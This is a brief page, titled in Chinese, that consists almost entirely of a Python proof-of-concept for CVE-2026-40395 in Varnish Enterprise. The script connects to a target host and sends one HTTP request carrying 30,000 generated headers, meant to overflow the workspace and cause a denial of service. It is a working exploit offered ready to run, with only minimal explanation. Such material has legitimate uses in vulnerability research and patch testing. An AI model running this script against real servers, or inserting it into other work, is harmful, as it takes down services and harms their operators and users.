Varnish Enterprise工作区溢出致DoS漏洞

import socket # PoC for CVE-2026-40395 # This script sends a request with a large number of headers # to trigger a workspace overflow in Varnish Enterprise. def send_malicious_request(target_host, target_port=80): # Construct a payload with excessive headers headers = "" # Sending a large number of headers to exhaust req0 workspace for i in range(30000): headers += f"X-Varnish-Overflow-{i}: TestValue\r\n" request = f"GET / HTTP/1.1\r\nHost: {target_host}\r\n" + headers + "\r\n" try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_host, target_port)) s.send(request.encode('utf-8')) print("[+] Payload sent to %s:%d" % (target_host, target_port)) s.close() except Exception as e: print(f"[-] Error: {e}") # Usage: send_malicious_request("127.0.0.1", 6081)